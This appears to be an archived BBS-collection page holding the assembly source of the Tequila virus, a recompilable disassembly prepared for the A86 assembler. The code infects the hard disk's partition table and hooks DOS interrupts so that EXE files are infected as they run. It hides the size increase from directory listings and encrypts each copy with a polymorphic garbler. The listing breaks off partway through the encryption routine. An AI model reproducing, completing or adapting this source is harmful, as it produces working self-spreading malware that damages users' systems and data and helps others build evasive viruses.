home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / tequilla.asm < prev    next >
Assembly Source File  |  1992-02-28  |  24KB  |  1,098 lines

  1.  
  2.                        The Tequila Virus Source
  3.                        -------------------------
  4.  
  5.     Nuff' said.
  6.  
  7. -------------------------------------------------------------------------------
  8.                    ;=============================
  9.                    ;      the tequila virus     =
  10.                    ;        a recompilable      =
  11.                    ;         dis-assembly       =
  12.                    ;    specifically designed   =
  13.                    ; for assembly to a COM file =
  14.                    ;  with the A86 assembler.   =
  15.                    ;     ++++++++++++++++++     =
  16.                    ; If you desire a "perfect"  =
  17.                    ; byte for byte source code  =
  18.                    ;match-up, the MASM assembler=
  19.                    ; must be used and the noted =
  20.                    ;instructions must be changed=
  21.                    ; to comply with MASM syntax.=
  22.                    ; In addition, all byte and  =
  23.                    ;word pointer references must=
  24.                    ; be changed from B and W to =
  25.                    ;   BYTE POINTER and WORD    =
  26.                    ;          POINTER.          =
  27.                    ;=============================
  28.  
  29.  
  30. CODE_SEG   SEGMENT
  31. ASSUME CS:CODE_SEG, DS:CODE_SEG, ES:CODE_SEG, SS:CODE_SEG
  32. ORG 0100
  33. TEQUILA PROC NEAR
  34.  
  35. JMP START
  36.  
  37.   DB 000, 000, 000, 000, 000, 000, 000, 0FFH, 0FFH
  38.   DB 009, 005, 001H, 010H, 000, 000, 002H, 0FAH, 000, 00CH
  39.  
  40.   DB 00DH, 00AH, 00DH, 00AH
  41.   DB "Welcome to T.TEQUILA's latest production.", 00DH, 00AH
  42.   DB "Contact T.TEQUILA/P.o.Box 543/6312 St'hausen/"
  43.   DB "Switzerland.", 00DH, 00AH
  44.   DB "Loving thoughts to L.I.N.D.A", 00DH, 00AH, 00DH, 00AH
  45.   DB "BEER and TEQUILA forever !", 00DH, 00AH, 00DH, 00AH
  46.   DB "$"
  47.  
  48.   DB "Execute: mov ax, FE03 / int 21. Key to go on!"
  49.  
  50.  
  51. PROGRAM_TERMINATION_ROUTINE:
  52.    PUSH BP
  53.    MOV BP,SP
  54.    SUB SP,0CH
  55.    PUSH AX
  56.    PUSH BX
  57.    PUSH CX
  58.    PUSH DX
  59.    PUSH SI
  60.    PUSH DI
  61.    PUSH ES
  62.    PUSH DS
  63.    PUSH CS
  64.    POP DS
  65.    MOV AX,W[6]
  66.    INC AX
  67.    JE 0243H             ;Masm Mod. Needed
  68.    DEC AX
  69.    JNE 020DH            ;Masm Mod. Needed
  70.    DEC W[8]             ;Masm Mod. Needed
  71.    JNE 0243H            ;Masm Mod. Needed
  72.    JMP 0246H            ;Masm Mod. Needed
  73.    MOV AH,02AH
  74.    CALL INT_21
  75.    MOV SI,CX
  76.    MOV CX,W[8]
  77.    CMP CL,DL
  78.    JNE 022FH            ;Masm Mod. Needed
  79.    MOV AX,SI
  80.    SUB AX,W[6]
  81.    MUL B[011H]          ;Masm Mod. Needed
  82.    ADD AL,DH
  83.    ADD CH,3
  84.    CMP AL,CH
  85.    JAE 0237H            ;Masm Mod. Needed
  86.    MOV W[6],0FFFFH              ;Masm Mod. Needed
  87.    JMP 0243H            ;Masm Mod. Needed
  88.    MOV W[6],0           ;Masm Mod. Needed
  89.    MOV W[8],3           ;Masm Mod. Needed
  90.    JMP 02DF             ;Masm Mod. Needed
  91.    MOV BX,0B800H
  92.    INT 011
  93.    AND AX,030H
  94.    CMP AX,030H
  95.    JNE 0256H            ;Masm Mod. Needed
  96.    MOV BX,0B000H
  97.    MOV ES,BX
  98.    XOR BX,BX
  99.    MOV DI,0FD8FH
  100.    MOV SI,0FC18H
  101.    MOV W[BP-2],SI
  102.    MOV W[BP-4],DI
  103.    MOV CX,01E
  104.    MOV AX,W[BP-2]
  105.    IMUL AX
  106.    MOV W[BP-8],AX
  107.    MOV W[BP-6],DX
  108.    MOV AX,W[BP-4]
  109.    IMUL AX
  110.    MOV W[BP-0C],AX
  111.    MOV W[BP-0A],DX
  112.    ADD AX,W[BP-8]
  113.    ADC DX,W[BP-6]
  114.    CMP DX,0F
  115.    JAE 02B0             ;Masm Mod. Needed
  116.    MOV AX,W[BP-2]
  117.    IMUL W[BP-4]
  118.    IDIV W[0F]           ;Masm Mod. Needed
  119.    ADD AX,DI
  120.    MOV W[BP-4],AX
  121.    MOV AX,W[BP-8]
  122.    MOV DX,W[BP-6]
  123.    SUB AX,W[BP-0C]
  124.    SBB DX,W[BP-0A]
  125.    IDIV W[0D]           ;Masm Mod. Needed
  126.    ADD AX,SI
  127.    MOV W[BP-2],AX
  128.    LOOP 0269            ;Masm Mod. Needed
  129.    INC CX
  130.    SHR CL,1
  131.    MOV CH,CL
  132.    MOV CL,0DB
  133.    ES MOV W[BX],CX              ;Masm Mod. Needed
  134.    INC BX
  135.    INC BX
  136.    ADD SI,012
  137.    CMP SI,01B8
  138.    JL 0260              ;Masm Mod. Needed
  139.    ADD DI,034
  140.    CMP DI,02A3
  141.    JL 025D              ;Masm Mod. Needed
  142.    XOR DI,DI
  143.    MOV SI,0BB
  144.    MOV CX,02D
  145.    CLD
  146.    MOVSB
  147.    INC DI
  148.    LOOP 02D7            ;Masm Mod. Needed
  149.    XOR AX,AX
  150.    INT 016
  151.    POP DS
  152.    POP ES
  153.    POP DI
  154.    POP SI
  155.    POP DX
  156.    POP CX
  157.    POP BX
  158.    POP AX
  159.    MOV SP,BP
  160.    POP BP
  161.    RET
  162.  
  163. PRINT_MESSAGE:
  164.    PUSH DX
  165.    PUSH DS
  166.    PUSH CS
  167.    POP DS
  168.    MOV AH,9
  169.    MOV DX,012
  170.    CALL INT_21
  171.    POP DS
  172.    POP DX
  173.    RET
  174.  
  175. NEW_PARTITION_TABLE:
  176.    CLI
  177.    XOR BX,BX
  178.    MOV DS,BX
  179.    MOV SS,BX
  180.    MOV SP,07C00
  181.    STI
  182.    XOR DI,DI
  183.    SUB W[0413],3        ;Masm Mod. Needed
  184.    INT 012
  185.    MOV CL,6
  186.    SHL AX,CL
  187.    MOV ES,AX
  188.    PUSH ES
  189.    MOV AX,022A
  190.    PUSH AX
  191.    MOV AX,0205
  192.    MOV CX,W[07C30]
  193.    INC CX
  194.    MOV DX,W[07C32]
  195.    INT 013
  196.    RETF
  197.  
  198. DB 002, 0FE
  199. DB 04C, 0E9
  200. DB 080, 004
  201.  
  202.    PUSH CS
  203.    POP DS
  204.    XOR AX,AX
  205.    MOV ES,AX
  206.    MOV BX,07C00
  207.    PUSH ES
  208.    PUSH BX
  209.    MOV AX,0201
  210.    MOV CX,W[0226]
  211.    MOV DX,W[0228]
  212.    INT 013
  213.    PUSH CS
  214.    POP ES
  215.    CLD
  216.    MOV SI,0409
  217.    MOV DI,09BE
  218.    MOV CX,046
  219.    REP MOVSB
  220.    MOV SI,091B
  221.    MOV DI,0A04
  222.    MOV CX,045
  223.    REP MOVSB
  224.    CLI
  225.    XOR AX,AX
  226.    MOV ES,AX
  227.    ES LES BX,[070]              ;Masm Mod. Needed
  228.    MOV W[09B0],BX               ;Masm Mod. Needed
  229.    MOV W[09B2],ES               ;Masm Mod. Needed
  230.    MOV ES,AX
  231.    ES LES BX,[084]              ;Masm Mod. Needed
  232.    MOV W[09B4],BX               ;Masm Mod. Needed
  233.    MOV W[09B6],ES               ;Masm Mod. Needed
  234.    MOV ES,AX
  235.    ES MOV W[070],044F           ;Masm Mod. Needed
  236.    ES MOV W[072],DS             ;Masm Mod. Needed
  237.    STI
  238.    RETF
  239.  
  240. INSTALL:
  241.    CALL NEXT_LINE
  242.  NEXT_LINE:
  243.    POP SI
  244.    SUB SI,028F
  245.    PUSH SI
  246.    PUSH AX
  247.    PUSH ES
  248.    PUSH CS
  249.    POP DS
  250.    MOV AX,ES
  251.    ADD W[SI+2],AX
  252.    ADD W[SI+4],AX
  253.    DEC AX
  254.    MOV ES,AX
  255.    MOV AX,0FE02
  256.    INT 021
  257.    CMP AX,01FD
  258.    JE NO_PARTITION_INFECTION
  259.    ES CMP B[0],05A              ;Masm Mod. Needed
  260.    JNE NO_PARTITION_INFECTION
  261.    ES CMP W[3],0BB              ;Masm Mod. Needed
  262.    JBE NO_PARTITION_INFECTION
  263.    ES MOV AX,W[012]             ;Masm Mod. Needed
  264.    SUB AX,0BB
  265.    MOV ES,AX
  266.    XOR DI,DI
  267.    MOV CX,09A4
  268.    CLD
  269.    REP MOVSB
  270.    PUSH ES
  271.    POP DS
  272.    CALL INFECT_PARTITION_TABLE
  273.  NO_PARTITION_INFECTION:
  274.    POP ES
  275.    POP AX
  276.    PUSH ES
  277.    POP DS
  278.    POP SI
  279.    CS MOV SS,W[SI+4]            ;Masm Mod. Needed
  280.  CHAIN_TO_THE_HOST_FILE:
  281.    CS JMP D[SI]         ;Masm Mod. Needed
  282.  
  283. INFECT_PARTITION_TABLE:
  284.    MOV AH,02A
  285.    INT 021
  286.    MOV W[6],CX          ;Masm Mod. Needed
  287.    MOV W[8],DX          ;Masm Mod. Needed
  288.    MOV AH,052
  289.    INT 021
  290.    ES MOV AX,W[BX-2]            ;Masm Mod. Needed
  291.    MOV W[03E8],AX               ;Masm Mod. Needed
  292.    MOV AX,03513
  293.    INT 021
  294.    MOV W[09A0],BX               ;Masm Mod. Needed
  295.    MOV W[09A2],ES               ;Masm Mod. Needed
  296.    MOV AX,03501
  297.    INT 021
  298.    MOV SI,BX
  299.    MOV DI,ES
  300.    MOV AX,02501
  301.    MOV DX,03DA
  302.    INT 021
  303.    MOV B[0A],0          ;Masm Mod. Needed
  304.    PUSHF
  305.    POP AX
  306.    OR AX,0100
  307.    PUSH AX
  308.    POPF
  309.    MOV AX,0201
  310.    MOV BX,09A4
  311.    MOV CX,1
  312.    MOV DX,080
  313.    PUSH DS
  314.    POP ES
  315.    PUSHF
  316.    CALL D[09A0]         ;Masm Mod. Needed
  317.    PUSHF
  318.    POP AX
  319.    AND AX,0FEFF
  320.    PUSH AX
  321.    POPF
  322.    PUSHF
  323.    MOV AX,02501
  324.    MOV DX,SI
  325.    MOV DS,DI
  326.    INT 021
  327.    POPF
  328.    JAE 0450             ;Masm Mod. Needed
  329.    JMP RET              ;Masm Mod. Needed
  330.    PUSH ES
  331.    POP DS
  332.    CMP W[BX+02E],0FE02
  333.    JNE 045C             ;Masm Mod. Needed
  334.    JMP RET              ;Masm Mod. Needed
  335.    ADD BX,01BE
  336.    MOV CX,4
  337.    MOV AL,B[BX+4]
  338.    CMP AL,4
  339.    JE 0479              ;Masm Mod. Needed
  340.    CMP AL,6
  341.    JE 0479              ;Masm Mod. Needed
  342.    CMP AL,1
  343.    JE 0479              ;Masm Mod. Needed
  344.    ADD BX,010
  345.    LOOP 0463            ;Masm Mod. Needed
  346.    JMP SHORT RET        ;Masm Mod. Needed
  347.    MOV DL,080
  348.    MOV DH,B[BX+5]
  349.    MOV W[0228],DX               ;Masm Mod. Needed
  350.    MOV AX,W[BX+6]
  351.    MOV CX,AX
  352.    MOV SI,6
  353.    AND AX,03F
  354.    CMP AX,SI
  355.    JBE RET              ;Masm Mod. Needed
  356.    SUB CX,SI
  357.    MOV DI,BX
  358.    INC CX
  359.    MOV W[0226],CX               ;Masm Mod. Needed
  360.    MOV AX,0301
  361.    MOV BX,09A4
  362.    PUSHF
  363.    CALL D[09A0]         ;Masm Mod. Needed
  364.    JB RET               ;Masm Mod. Needed
  365.    DEC CX
  366.    MOV W[DI+6],CX
  367.    INC CX
  368.    SUB W[DI+0C],SI
  369.    SBB W[DI+0E],0
  370.    MOV AX,0305
  371.    MOV BX,0
  372.    INC CX
  373.    PUSHF
  374.    CALL D[09A0]         ;Masm Mod. Needed
  375.    JB RET               ;Masm Mod. Needed
  376.    MOV SI,01F6
  377.    MOV DI,09A4
  378.    MOV CX,034
  379.    CLD
  380.    REP MOVSB
  381.    MOV AX,0301
  382.    MOV BX,09A4
  383.    MOV CX,1
  384.    XOR DH,DH
  385.    PUSHF
  386.    CALL D[09A0]         ;Masm Mod. Needed
  387.    RET
  388.  
  389. NEW_INTERRUPT_ONE:
  390.    PUSH BP
  391.    MOV BP,SP
  392.    CS CMP B[0A],1               ;Masm Mod. Needed
  393.    JE 0506              ;Masm Mod. Needed
  394.    CMP W[BP+4],09B4
  395.    JA 050B              ;Masm Mod. Needed
  396.    PUSH AX
  397.    PUSH ES
  398.    LES AX,[BP+2]
  399.    CS MOV W[09A0],AX            ;Masm Mod. Needed
  400.    CS MOV W[09A2],ES            ;Masm Mod. Needed
  401.    CS MOV B[0A],1
  402.    POP ES
  403.    POP AX
  404.    AND W[BP+6],0FEFF
  405.    POP BP
  406.    IRET
  407.  
  408. NEW_INTERRUPT_13:
  409.    CMP CX,1
  410.    JNE 054E             ;Masm Mod. Needed
  411.    CMP DX,080
  412.    JNE 054E             ;Masm Mod. Needed
  413.    CMP AH,3
  414.    JA 054E              ;Masm Mod. Needed
  415.    CMP AH,2
  416.    JB 054E              ;Masm Mod. Needed
  417.    PUSH CX
  418.    PUSH DX
  419.    DEC AL
  420.    JE 0537              ;Masm Mod. Needed
  421.    PUSH AX
  422.    PUSH BX
  423.    ADD BX,0200
  424.    INC CX
  425.    PUSHF
  426.    CS CALL D[09A0]              ;Masm Mod. Needed
  427.    POP BX
  428.    POP AX
  429.    MOV AL,1
  430.    CS MOV CX,W[0226]            ;Masm Mod. Needed
  431.    CS MOV DX,W[0228]            ;Masm Mod. Needed
  432.    PUSHF
  433.    CS CALL D[09A0]              ;Masm Mod. Needed
  434.    POP DX
  435.    POP CX
  436.    RETF 2
  437.    CS JMP D[09A0]               ;Masm Mod. Needed
  438.  
  439. NEW_TIMER_TICK_INTERRUPT:
  440.    PUSH AX
  441.    PUSH BX
  442.    PUSH ES
  443.    PUSH DS
  444.    XOR AX,AX
  445.    MOV ES,AX
  446.    PUSH CS
  447.    POP DS
  448.    ES LES BX,[084]              ;Masm Mod. Needed
  449.    MOV AX,ES
  450.    CMP AX,0800
  451.    JA 05B0              ;Masm Mod. Needed
  452.    CMP AX,W[09B6]
  453.    JNE 0575             ;Masm Mod. Needed
  454.    CMP BX,W[09B4]
  455.    JE 05B0              ;Masm Mod. Needed
  456.    MOV W[09B4],BX               ;Masm Mod. Needed
  457.    MOV W[09B6],ES               ;Masm Mod. Needed
  458.    XOR AX,AX
  459.    MOV DS,AX
  460.    CS LES BX,[09B0]             ;Masm Mod. Needed
  461.    MOV W[070],BX        ;Masm Mod. Needed
  462.    MOV W[072],ES        ;Masm Mod. Needed
  463.    LES BX,[04C]         ;Masm Mod. Needed
  464.    CS MOV W[09A0],BX            ;Masm Mod. Needed
  465.    CS MOV W[09A2],ES            ;Masm Mod. Needed
  466.    MOV W[04C],09BE              ;Masm Mod. Needed
  467.    MOV W[04E],CS        ;Masm Mod. Needed
  468.    MOV W[084],04B1              ;Masm Mod. Needed
  469.    MOV W[086],CS        ;Masm Mod. Needed
  470.    POP DS
  471.    POP ES
  472.    POP BX
  473.    POP AX
  474.    IRET
  475.  
  476. INT_21_INTERCEPT:
  477.    CMP AH,011
  478.    JB CHECK_FOR_HANDLE
  479.    CMP AH,012
  480.    JA CHECK_FOR_HANDLE
  481.    CALL ADJUST_FCB_MATCHES
  482.    RETF 2
  483.  CHECK_FOR_HANDLE:
  484.    CMP AH,04E
  485.    JB CHECK_FOR_PREVIOUS_INSTALLATION
  486.    CMP AH,04F
  487.    JA CHECK_FOR_PREVIOUS_INSTALLATION
  488.    CALL ADJUST_HANDLE_MATCHES
  489.    RETF 2
  490.  CHECK_FOR_PREVIOUS_INSTALLATION:
  491.    CMP AX,0FE02
  492.    JNE CHECK_FOR_MESSAGE_PRINT
  493.    NOT AX
  494.    IRET
  495.  CHECK_FOR_MESSAGE_PRINT:
  496.    CMP AX,0FE03
  497.    JNE CHECK_FOR_EXECUTE
  498.    CS CMP W[6],0        ;Masm Mod. Needed
  499.    JNE CHAIN_TO_TRUE_INT_21
  500.    CALL PRINT_MESSAGE
  501.    IRET
  502.  CHECK_FOR_EXECUTE:
  503.    CMP AX,04B00
  504.    JE SET_STACK
  505.    CMP AH,04C
  506.    JNE CHAIN_TO_TRUE_INT_21
  507.  SET_STACK:
  508.    CS MOV W[09A6],SP            ;Masm Mod. Needed
  509.    CS MOV W[09A8],SS            ;Masm Mod. Needed
  510.    CLI
  511.    PUSH CS
  512.    POP SS
  513.    MOV SP,0AE5
  514.    STI
  515.    CMP AH,04C
  516.    JNE TO_AN_INFECTION
  517.    CALL PROGRAM_TERMINATION_ROUTINE
  518.    JMP SHORT NO_INFECTION
  519.  TO_AN_INFECTION:
  520.    CALL INFECT_THE_FILE
  521.  NO_INFECTION:
  522.    CLI
  523.    CS MOV SS,W[09A8]            ;Masm Mod. Needed
  524.    CS MOV SP,W[09A6]            ;Masm Mod. Needed
  525.    STI
  526.    JMP SHORT CHAIN_TO_TRUE_INT_21
  527.  CHAIN_TO_TRUE_INT_21:
  528.    CS INC W[09BC]               ;Masm Mod. Needed
  529.    CS JMP D[09B4]               ;Masm Mod. Needed
  530.  
  531. NEW_CRITICAL_ERROR_HANDLER:
  532.    MOV AL,3
  533.    IRET
  534.  
  535. ADJUST_FCB_MATCHES:
  536.    PUSH BX
  537.    PUSH ES
  538.    PUSH AX
  539.    MOV AH,02F
  540.    CALL INT_21
  541.    POP AX
  542.    PUSHF
  543.    CS CALL D[09B4]              ;Masm Mod. Needed
  544.    PUSHF
  545.    PUSH AX
  546.    CMP AL,0FF
  547.    JE 0664              ;Masm Mod. Needed
  548.    ES CMP B[BX],0FF             ;Masm Mod. Needed
  549.    JNE 064F             ;Masm Mod. Needed
  550.    ADD BX,7
  551.    ES MOV AL,B[BX+017]          ;Masm Mod. Needed
  552.    AND AL,01F
  553.    CMP AL,01F
  554.    JNE 0664             ;Masm Mod. Needed
  555.    ES SUB W[BX+01D],09A4        ;Masm Mod. Needed
  556.    ES SBB W[BX+01F],0           ;Masm Mod. Needed
  557.    POP AX
  558.    POPF
  559.    POP ES
  560.    POP BX
  561.    RET
  562.  
  563. ADJUST_HANDLE_MATCHES:
  564.    PUSH BX
  565.    PUSH ES
  566.    PUSH AX
  567.    MOV AH,02F
  568.    CALL INT_21
  569.    POP AX
  570.    PUSHF
  571.    CS CALL D[09B4]              ;Masm Mod. Needed
  572.    PUSHF
  573.    PUSH AX
  574.    JB 0691              ;Masm Mod. Needed
  575.    ES MOV AL,B[BX+016]          ;Masm Mod. Needed
  576.    AND AL,01F
  577.    CMP AL,01F
  578.    JNE 0691             ;Masm Mod. Needed
  579.    ES SUB W[BX+01A],09A4        ;Masm Mod. Needed
  580.    ES SBB W[BX+01C],0           ;Masm Mod. Needed
  581.    POP AX
  582.    POPF
  583.    POP ES
  584.    POP BX
  585.    RET
  586.  
  587. WRITE_TO_THE_FILE:
  588.    MOV AH,040
  589.    JMP 069C             ;Masm Mod. Needed
  590.  
  591. READ_FROM_THE_FILE:
  592.    MOV AH,03F
  593.    CALL 06B4            ;Masm Mod. Needed
  594.    JB RET               ;Masm Mod. Needed
  595.    SUB AX,CX
  596.    RET
  597.  
  598. MOVE_TO_END_OF_FILE:
  599.    XOR CX,CX
  600.    XOR DX,DX
  601.    MOV AX,04202
  602.    JMP 06B4             ;Masm Mod. Needed
  603.  
  604. MOVE_TO_BEGINNING_OF_FILE:
  605.    XOR CX,CX
  606.    XOR DX,DX
  607.    MOV AX,04200
  608.    CS MOV BX,W[09A4]            ;Masm Mod. Needed
  609.  
  610. INT_21:
  611.    CLI
  612.    PUSHF
  613.    CS CALL D[09B4]              ;Masm Mod. Needed
  614.    RET
  615.  
  616. INFECT_THE_FILE:
  617.    PUSH AX
  618.    PUSH BX
  619.    PUSH CX
  620.    PUSH DX
  621.    PUSH SI
  622.    PUSH DI
  623.    PUSH ES
  624.    PUSH DS
  625.    CALL CHECK_LETTERS_IN_FILENAME
  626.    JAE GOOD_NAME
  627.    JMP BAD_NAME
  628.  
  629. GOOD_NAME:
  630.    PUSH DX
  631.    PUSH DS
  632.    PUSH CS
  633.    POP DS
  634.  
  635. SAVE_AND_REPLACE_CRITICAL_ERROR_HANDLER:
  636.    MOV AX,03524
  637.    CALL INT_21
  638.    MOV W[09B8],BX               ;Masm Mod. Needed
  639.    MOV W[09BA],ES               ;Masm Mod. Needed
  640.    MOV AX,02524
  641.    MOV DX,052A
  642.    CALL INT_21
  643.    POP DS
  644.    POP DX
  645.  
  646. SAVE_AND_REPLACE_FILE_ATTRIBUTE:
  647.    MOV AX,04300
  648.    CALL INT_21
  649.    CS MOV W[09AA],CX            ;Masm Mod. Needed
  650.    JAE 06FE             ;Masm Mod. Needed
  651.    JMP RESTORE_CRIT_HANDLER
  652.    MOV AX,04301
  653.    XOR CX,CX
  654.    CALL INT_21
  655.    JB 077C              ;Masm Mod. Needed
  656.  
  657. OPEN_FILE_FOR_READ_WRITE:
  658.    MOV AX,03D02
  659.    CALL INT_21
  660.    JB 0771              ;Masm Mod. Needed
  661.    PUSH DX
  662.    PUSH DS
  663.    PUSH CS
  664.    POP DS
  665.    MOV W[09A4],AX               ;Masm Mod. Needed
  666.  
  667. GET_FILEDATE:
  668.    MOV AX,05700
  669.    CALL 06B4            ;Masm Mod. Needed
  670.    JB 075C              ;Masm Mod. Needed
  671.    MOV W[09AC],DX               ;Masm Mod. Needed
  672.    MOV W[09AE],CX               ;Masm Mod. Needed
  673.  
  674. READ_AND_CHECK_EXE_HEADER:
  675.    CALL 06AD            ;Masm Mod. Needed
  676.    MOV DX,0A49
  677.    MOV CX,01C
  678.    CALL 069A            ;Masm Mod. Needed
  679.    JB 075C              ;Masm Mod. Needed
  680.    PUSH DS
  681.    POP ES
  682.    MOV DI,0E8
  683.    MOV CX,020
  684.    CMP W[0A49],05A4D            ;Masm Mod. Needed
  685.    JNE 075C             ;Masm Mod. Needed
  686.    MOV AX,W[0A5B]
  687.    CLD
  688.    REPNE SCASW
  689.    JNE 0754             ;Masm Mod. Needed
  690.    OR W[09AE],01F               ;Masm Mod. Needed
  691.    JMP 075C             ;Masm Mod. Needed
  692.    CALL READ_PAST_END_OF_FILE
  693.    JB 075C              ;Masm Mod. Needed
  694.    CALL ENCRYPT_AND_WRITE_TO_FILE
  695.  
  696. RESTORE_ALTERED_DATE:
  697.    MOV AX,05701
  698.    MOV DX,W[09AC]
  699.    MOV CX,W[09AE]
  700.    CALL 06B4            ;Masm Mod. Needed
  701.  
  702. CLOSE_THE_FILE:
  703.    MOV AH,03E
  704.    CALL 06B4            ;Masm Mod. Needed
  705.  
  706. RESTORE_FILE_ATTRIBUTE:
  707.    POP DS
  708.    POP DX
  709.    MOV AX,04301
  710.    CS MOV CX,W[09AA]            ;Masm Mod. Needed
  711.    CALL INT_21
  712.  
  713. RESTORE_CRIT_HANDLER:
  714.    MOV AX,02524
  715.    CS LDS DX,[09B8]             ;Masm Mod. Needed
  716.    CALL INT_21
  717.  
  718. BAD_NAME:
  719.    POP DS
  720.    POP ES
  721.    POP DI
  722.    POP SI
  723.    POP DX
  724.    POP CX
  725.    POP BX
  726.    POP AX
  727.    RET
  728.  
  729. CHECK_LETTERS_IN_FILENAME:
  730.    PUSH DS
  731.    POP ES
  732.    MOV DI,DX
  733.    MOV CX,-1
  734.    XOR AL,AL
  735.    CLD
  736.    REPNE SCASB
  737.    NOT CX
  738.    MOV DI,DX
  739.    MOV AX,04353
  740.    MOV SI,CX
  741.    SCASW
  742.    JE 07B7              ;Masm Mod. Needed
  743.    DEC DI
  744.    LOOP 07A5            ;Masm Mod. Needed
  745.    MOV CX,SI
  746.    MOV DI,DX
  747.    MOV AL,056
  748.    REPNE SCASB
  749.    JE 07B7              ;Masm Mod. Needed
  750.    CLC
  751.    RET
  752.    STC
  753.    RET
  754.  
  755. READ_PAST_END_OF_FILE:
  756.    MOV CX,-1
  757.    MOV DX,-0A
  758.    CALL 06A8            ;Masm Mod. Needed
  759.    MOV DX,0A65
  760.    MOV CX,8
  761.    CALL 069A            ;Masm Mod. Needed
  762.    JB RET               ;Masm Mod. Needed
  763.    CMP W[0A65],0FDF0            ;Masm Mod. Needed
  764.    JNE 07F0             ;Masm Mod. Needed
  765.    CMP W[0A67],0AAC5            ;Masm Mod. Needed
  766.    JNE 07F0             ;Masm Mod. Needed
  767.    MOV CX,-1
  768.    MOV DX,-9
  769.    CALL 06A8            ;Masm Mod. Needed
  770.    MOV DX,0A6B
  771.    MOV CX,4
  772.    CALL 0696            ;Masm Mod. Needed
  773.    RET
  774.    CLC
  775.    RET
  776.  
  777. ENCRYPT_AND_WRITE_TO_FILE:
  778.    CALL MOVE_TO_END_OF_FILE
  779.    MOV SI,AX
  780.    MOV DI,DX
  781.    MOV BX,0A49
  782.    MOV AX,W[BX+4]
  783.    MUL W[0D]            ;Masm Mod. Needed
  784.    SUB AX,SI
  785.    SBB DX,DI
  786.    JAE 080C             ;Masm Mod. Needed
  787.    JMP OUT_OF_ENCRYPT
  788.    MOV AX,W[BX+8]
  789.    MUL W[0B]            ;Masm Mod. Needed
  790.    SUB SI,AX
  791.    SBB DI,DX
  792.    MOV AX,W[BX+0E]
  793.    MOV W[4],AX          ;Masm Mod. Needed
  794.    ADD W[4],010         ;Masm Mod. Needed
  795.    MUL W[0B]            ;Masm Mod. Needed
  796.    ADD AX,W[BX+010]
  797.    SUB AX,SI
  798.    SBB DX,DI
  799.    JB 083C              ;Masm Mod. Needed
  800.    SUB AX,080
  801.    SBB DX,0
  802.    JB RET               ;Masm Mod. Needed
  803.    ADD W[BX+0E],09B
  804.    MOV AX,W[BX+016]
  805.    ADD AX,010
  806.    MOV W[2],AX          ;Masm Mod. Needed
  807.    MOV AX,W[BX+014]
  808.    MOV W[0],AX          ;Masm Mod. Needed
  809.    CALL 06A4            ;Masm Mod. Needed
  810.    ADD AX,09A4
  811.    ADC DX,0
  812.    DIV W[0D]            ;Masm Mod. Needed
  813.    INC AX
  814.    MOV W[0A4D],AX               ;Masm Mod. Needed
  815.    MOV W[0A4B],DX               ;Masm Mod. Needed
  816.    MOV DX,DI
  817.    MOV AX,SI
  818.    DIV W[0B]            ;Masm Mod. Needed
  819.    MOV W[0A5F],AX               ;Masm Mod. Needed
  820.    MOV BX,DX
  821.    ADD DX,0960
  822.    MOV W[0A5D],DX               ;Masm Mod. Needed
  823.    CALL COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE
  824.    JB RET               ;Masm Mod. Needed
  825.    OR W[09AE],01F               ;Masm Mod. Needed
  826.    MOV BX,W[09BC]
  827.    AND BX,01F
  828.    SHL BX,1
  829.    MOV AX,W[BX+0E8]
  830.    MOV W[0A5B],AX               ;Masm Mod. Needed
  831.    CALL MOVE_TO_BEGINNING_OF_FILE
  832.    MOV CX,01C
  833.    MOV DX,0A49
  834.  
  835. WRITE_THE_NEW_HEADER:
  836.    CALL 0696            ;Masm Mod. Needed
  837.  OUT_OF_ENCRYPT:
  838.    RET
  839.  
  840. COPY_TO_HIGH_MEMORY_ENCRYPT_WRITE:
  841.    PUSH BP
  842.    XOR AH,AH
  843.    INT 01A
  844.    MOV AX,DX
  845.    MOV BP,DX
  846.    PUSH DS
  847.    POP ES
  848.    MOV DI,0960
  849.    MOV SI,DI
  850.    MOV CX,020
  851.    CLD
  852.    REP STOSW
  853.    XOR DX,DX
  854.    MOV ES,DX
  855.    CALL ENCRYPT_STEP_ONE
  856.    CALL ENCRYPT_STEP_TWO
  857.    CALL ENCRYPT_STEP_THREE
  858.    MOV B[SI],0E9
  859.    MOV DI,028C
  860.    SUB DI,SI
  861.    SUB DI,3
  862.    INC SI
  863.    MOV W[SI],DI
  864.    MOV AX,0A04
  865.    CALL AX
  866.    POP BP
  867.    RET
  868.  
  869. ENCRYPT_STEP_ONE:
  870.    DEC BP
  871.    ES TEST B[BP],2              ;Masm Mod. Needed
  872.    JNE 08EB             ;Masm Mod. Needed
  873.    MOV B[SI],0E
  874.    INC SI
  875.    CALL GARBLER
  876.    MOV B[SI],01F
  877.    INC SI
  878.    CALL GARBLER
  879.    RET
  880.    MOV W[SI],0CB8C
  881.    INC SI
  882.    INC SI
  883.    CALL GARBLER
  884.    MOV W[SI],0DB8E
  885.    INC SI
  886.    INC SI
  887.    CALL GARBLER
  888.    RET
  889.  
  890. ENCRYPT_STEP_TWO:
  891.    AND CH,0FE
  892.    DEC BP
  893.    ES TEST B[BP],2              ;Masm Mod. Needed
  894.    JE 0920              ;Masm Mod. Needed
  895.    OR CH,1
  896.    MOV B[SI],0BE
  897.    INC SI
  898.    MOV W[SI],BX
  899.    INC SI
  900.    INC SI
  901.    CALL GARBLER
  902.    ADD BX,0960
  903.    TEST CH,1
  904.    JE 0934              ;Masm Mod. Needed
  905.    MOV B[SI],0BB
  906.    INC SI
  907.    MOV W[SI],BX
  908.    INC SI
  909.    INC SI
  910.    CALL GARBLER
  911.    ADD BX,0960
  912.    TEST CH,1
  913.    JE 090C              ;Masm Mod. Needed
  914.    SUB BX,0960
  915.    CALL GARBLER
  916.    MOV B[SI],0B9
  917.    INC SI
  918.    MOV AX,0960
  919.    MOV W[SI],AX
  920.    INC SI
  921.    INC SI
  922.    CALL GARBLER
  923.    CALL GARBLER
  924.    RET
  925.  
  926. ENCRYPT_STEP_THREE:
  927.    MOV AH,014
  928.    MOV DH,017
  929.    TEST CH,1
  930.    JE 0958              ;Masm Mod. Needed
  931.    XCHG DH,AH
  932.    MOV DI,SI
  933.    MOV AL,08A
  934.    MOV W[SI],AX
  935.    INC SI
  936.    INC SI
  937.    CALL GARBLER
  938.    XOR DL,DL
  939.    MOV B[0A39],028              ;Masm Mod. Needed
  940.    DEC BP
  941.    ES TEST B[BP],2              ;Masm Mod. Needed
  942.    JE 0978              ;Masm Mod. Needed
  943.    MOV DL,030
  944.    MOV B[0A39],DL               ;Masm Mod. Needed
